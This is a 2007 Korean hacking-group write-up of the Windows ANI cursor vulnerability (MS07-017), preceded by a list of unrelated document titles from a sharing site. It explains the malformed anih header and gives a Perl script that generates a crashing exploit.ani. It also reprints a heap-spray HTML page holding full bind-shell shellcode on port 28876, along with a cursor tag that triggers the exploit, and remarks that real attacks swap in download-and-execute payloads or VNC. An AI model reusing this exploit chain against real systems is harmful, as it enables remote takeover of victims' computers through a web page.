Microsoft Word - ANI 취약점.doc

Similar documents
Microsoft Word - Heap_Spray.doc

Deok9_Exploit Technique

SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc

how_2_write_Exploit_4_the_MSF_v3.x.hwp

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft PowerPoint - a10.ppt [호환 모드]

SRC PLUS 제어기 MANUAL

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

휠세미나3 ver0.4

bn2019_2

H3050(aap)

CD-RW_Advanced.PDF

Microsoft Word - FunctionCall

hlogin2

Sena Technologies, Inc. HelloDevice Super 1.1.0

디지털영상처리3

11¹Ú´ö±Ô

UDP Flooding Attack 공격과 방어

Product A4

IDA 5.x Manual hwp

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

MPLAB C18 C

제20회_해킹방지워크샵_(이재석)

Black Hole Exploit Kit PDF Exploit $selectedexploit =? 3 or 4 /games/pdf.php /games/pdf2.php CVE , CVE , CVE , CVE

<32B1B3BDC32E687770>

Copyrights and Trademarks Autodesk SketchBook Mobile (2.0.2) 2013 Autodesk, Inc. All Rights Reserved. Except as otherwise permitted by Autodesk, Inc.,

Page 2 of 5 아니다 means to not be, and is therefore the opposite of 이다. While English simply turns words like to be or to exist negative by adding not,

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

vi 사용법

Chapter 4. LISTS

Javascript.pages

Solaris Express Developer Edition


Microsoft Word - building the win32 shellcode 01.doc

1217 WebTrafMon II

API 매뉴얼

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

Microsoft Word doc

FD¾ØÅÍÇÁ¶óÀÌÁî(Àå¹Ù²Þ)-ÀÛ¾÷Áß

11장 포인터

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

SMB_ICMP_UDP(huichang).PDF

The_IDA_Pro_Book

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Stage 2 First Phonics

1.hwp

Microsoft Word - Static analysis of Shellcode.doc

歯15-ROMPLD.PDF

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

PRO1_09E [읽기 전용]

hlogin7

PI ZH-CN

5/12¼Ò½ÄÁö

No Slide Title

Deok9_PE Structure

APOGEE Insight_KR_Base_3P11

Microsoft Word - ExecutionStack

PowerChute Personal Edition v3.1.0 에이전트 사용 설명서

API 매뉴얼

본문01

¹Ìµå¹Ì3Â÷Àμâ

chap 5: Trees

삼교-1-4.hwp

K7VT2_QIG_v3

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

13주-14주proc.PDF

야쿠르트2010 9월재출

(SW3704) Gingerbread Source Build & Working Guide

Microsoft Word - GOM-StackOverFlow.doc

TTA Verified : HomeGateway :, : (NEtwork Testing Team)

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

다음 사항을 꼭 확인하세요! 도움말 안내 - 본 도움말에는 iodd2511 조작방법 및 활용법이 적혀 있습니다. - 본 제품 사용 전에 안전을 위한 주의사항 을 반드시 숙지하십시오. - 문제가 발생하면 문제해결 을 참조하십시오. 중요한 Data 는 항상 백업 하십시오.

DE1-SoC Board

슬라이드 제목 없음

00829A_SHR-6164-KOR.indb

untitled

안전을 위한 주의사항 제품을 올바르게 사용하여 위험이나 재산상의 피해를 미리 막기 위한 내용이므로 반드시 지켜 주시기 바랍니다. 2 경고 설치 관련 지시사항을 위반했을 때 심각한 상해가 발생하거나 사망에 이를 가능성이 있는 경우 설치하기 전에 반드시 본 기기의 전원을

1_2•• pdf(••••).pdf

<31325FB1E8B0E6BCBA2E687770>

untitled

Chapter #01 Subject

Microsoft Word - MSOffice_WPS_analysis.doc

PowerPoint 프레젠테이션

라즈베리파이 프로그래밍_130912(최종).indd

PowerPoint 프레젠테이션

Microsoft PowerPoint - G3-2-박재우.pptx

Microsoft Word - poc_script1.doc

USER GUIDE

<372040B9E8BFACB0FC2DC0CEC5CDB3DDBBF3C0C720C1F5BFC0B9DFBEF0BFA120B0FCB7C3B5C820B9FDC0FB20B9AEC1A6C1A1BFA120B0FCC7D120B0EDC2FB2E687770>

DocsPin_Korean.pages

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

로거 자료실

06_±è¼öö_0323

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation

PRO1_04E [읽기 전용]

chap01_time_complexity.key

농심-내지

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

< BFCFB7E15FC7D1B1B9C1A4BAB8B9FDC7D0C8B85F31352D31BCF6C1A4C8AEC0CE2E687770>

Transcription:

ANI 취약점 (MS07-017) 본문에서는최근 Windows.ani 에대한취약점으로 2006 년에이 어다시한번취약점이나타나면서마소에서핫픽스까지제공한 최근이슈가되었던취약점에대한분석이다. Hacking Group OVERTIME crash <crashn5p@gmail.com>2007.10.10

1. 취약점설명 해당취약점은조작된 ANI 파일에대하여 Windows 시스템의 user32.dll 의 LoadAniIcon 함수를잘못된길이정보를참조한처리과정에서발생된다 헤더태그뒤에정상적인헤더크기 (0x24) 가아닌리턴주소를덮거나쉘코드를할당할수있는만큼의크기를 ANI 커서파일에잡아주면 IE나기타브라우저에서 animated cursor를렌더링할때,loadaniicon 함수의서브함수인 ReadFilePtrCopy에서 ANI 커서파일의특정위치에서잡아준리턴주소로 stack을덮어써리턴주소를쉘코드로향하도록 EIP를변경시킨다. 2. ANI 헤더설명 ANI 파일은 RIFF(Resource Interchange File Format) 형식의올바른 ANI파일을작성하게되면 LoadAnilcon 함수가호출되고처음호출되는 ReadFilePtrCopy 함수에서 ACON을읽지못하는경우 (ANI 파일형식이아닌경우 ) 그이후의과정없이종료가된다. -ANI 파일의구조- "RIFF" {Length of File} "ACON" "LIST" {Length of List} "INAM" {Length of Title} {Data} "IART" {Length of Author} {Data} "fram" "icon" {Length of Icon} {Data} ; 1st in list... "icon" {Length of Icon} {Data} ; Last in list (1 to cframes) "anih" {Length of ANI header (36 bytes)} {Data} ; (see ANI Header TypeDef ) 취약점이발생하는곳 "rate" {Length of rate block} {Data} ; ea. rate is a long (length is 1 to csteps)

"seq " {Length of sequence block} {Data} ; ea. seq is a long (length is 1 to csteps) -헤더구조체- typedef struct aniheader { DWORD structsize; /* Header size (36 bytes) */ 취약점이발생하는곳 DWORD frames; /* Number of unique icons in this cursor */ DWORD steps; /* Number of blits before the animation cycles */ DWORD cx; /* reserved, must be 0? */ DWORD cy; /* reserved, must be 0? */ DWORD bitcount; /* reserved, must be 0? */ DWORD planes; /* reserved, must be 0? */ DWORD rate; /* Default rate (1/60th of a second) if "rate" not present */ DWORD flags; /* Animation flag (1==AF_ICON, although both icons and cursors set this) */ } aniheader_t; 3. Exploit 분석 아래의내용은실제샘플인 exploit.jpg 라는파일을 Hex view로열어본내용이다. 정상적인헤더의내용으로는 [anih] [24 00 00 00] 과같이 36byte값으로구성되어지지만아래.ani 에서는 [52 00 00 00] 로변경이되어져있다. 조작된길이값인 52h의위치즉 51h 부터 Return Address가덮어쓰여지게된다. 다시말해.ANI 파일형식에서 anih chunk의 size를임의로조작함으로써 ReadFilePtrCopy에서조작된 size 정보를토대로복사가이루어짐으로 EIP 를덮어. 쓸수있게되는것이다. 이런취약점을이용하기위해서는 ReadChunk 를호출해야하며반드시 anih 조건을맞추어야된다.

4.Exploit 예제 위의내용을가지고간단한 exploit을만든어본다. 여기에서는 anih의헤더의 size을 [ff ff 00 00] 으로변경하여 65535의크기를모두 0d로채운다 #!/usr/bin/perl $aniheader = "\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x 6e\x69\x68" "\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00 \x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00" "\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x 00\x00\x00" "\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x 02\x02\x02" "\x61\x6e\x69\x68\xff\xff\x00\x00"; $chunk = "\x0d" x 65535; $payload = $aniheader. $chunk; open(ani, ">", "exploit.ani");

print ANI $payload; close ANI; 위의펄스크립트를실행시키면 exploit.jpg 파일이생성되고이 ani파일이생성된다. 이렇게만들어진 ani파일을실행시킬간단한 html 파일을만들어서 WinDbg를통해실행시켜본다. 먼저 WinDbg 로 html 을실행하는방법을간단히설명한다. 1. WinDbg 를실행시키고 Open Executable 를선택한다. 2. IE 에서실행시킴으로 IEXPLORE.EXE 를선택하고 Arguments 로실행시킬 html 파일경로를써넣는다.

3. 다음과같이실행되는것을알수있다..ani 를실행후디버깅을통행나온부분을확인한다. User32.dll 함수를수행중 77d1e28d 부분에서 Access violation 이나는 것을알수있다.

그리고 Access violation 이후 EIP 가조작되어 0d0d0d0d 로덮어쓴것을확 인할수있다. 이제이 ani exploit을어디서든실행시키기위해 Heap Spray기법을이용해본다. 여기서는 SkyLined 가만든 Internet Exploiter v0.1 html 페이지를이용한다. ( 이내용은 Hacking Group OVERTIME 의리더인 force 님께서만든 Heap Spray라는문서에잘나와있으니참조하기바란다.) 이 html 에서는 IFrame 을이용한 Overflower 를이용하였으나이부분을삭 제하고아래와같이우리가만들어놓은 ani 파일인 exploit.ani 를실행하기 위한 html 테그 ( 붉은색부분 ) 를아래와같이삽입한다. <HTML><!--,sSSSs, Ss, Internet Exploiter v0.1 SS" `YS' '*Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit is',ss" Copyright (C) 2003, 2004 by Berend-Jan Wever. YS,.ss,sY" http://www.edup.tudelft.nl/~bjwever `"YSSP" sss <skylined@edup.tudelft.nl> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, 1991 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. A copy of the GNU General Public License can be found at: http://www.gnu.org/licenses/gpl.html or you can write to: Free Software Foundation, Inc.

59 Temple Place - Suite 330 Boston, MA 02111-1307 USA. --> <SCRIPT language="javascript"> // Win32 MSIE exploit helper script, creates a lot of nopslides to land in // and/or use as return address. Thanks to blazde for feedback and idears. // Win32 bindshell (port 28876, '\0' free, looping). Thanks to HDM and // others for inspiration and borrowed code. shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528 b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7% u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u0 48b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad %u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb% ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4% ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a 6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u5 0e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa% ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff% u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u4 0c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u53 50%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff% uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d 0%ufec2%uffff%uc483%u615c%u89eb"); // Nopslide will contain these bytes: bigblock = unescape("%u0d0d%u0d0d"); // Heap blocks in IE have 20 dwords as header headersize = 20; // This is all very 1337 code to create a nopslide that will fit exactly // between the the header and the shellcode in the heap blocks we want. // The heap blocks are 0x40000 dwords big, I can't be arsed to write good // documentation for this. slackspace = headersize+shellcode.length

while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; // And now we can create the heap blocks, we'll create 700 of them to spray // enough memory to be sure enough that we've got one at 0x0D0D0D0D memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode; </SCRIPT> <!-- The exploit sets eax to 0x0D0D0D0D after which this code gets executed: 7178EC02 8B08 MOV ECX, DWORD PTR [EAX] [0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D. 7178EC04 68 847B7071 PUSH 71707B84 7178EC09 50 PUSH EAX 7178EC0A FF11 CALL NEAR DWORD PTR [ECX] Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D. We land inside one of the nopslides and slide on down to the shellcode. --> <DIV style="cursor: url('exploit.ani')"></div> </HTML> 자이제이렇게만들어진 html 파일을실행한화면이다.

이 Heap Spray에서는 28876Port를오픈하는바인드쉘이들어있음으로 port가 open되는것을알수있다. 실제공격에서는이와같은바인드쉘코드가아닌다운로드를하거나실행가능한쉘코드를이용해악성프로그램을웹에서자동다운로드하여실행하고있다. 좀더응용하면 VNC같은원격접속프로그램을설치하여자신의컴퓨터를사용하듯이공격을할수도있을것이다. 5월달에만든문서인데그동안올리지못했다가이제서야올립니다. 그때당시에는 0-day 였던거같은데마소에서핫핏스가나오는바람에이제는지나간취약점이되어버렸네요. 실험한환경은 Windows XP pro SP1 입니다. 예전에실험했을때는 Windows XP home SP2였던거같네요.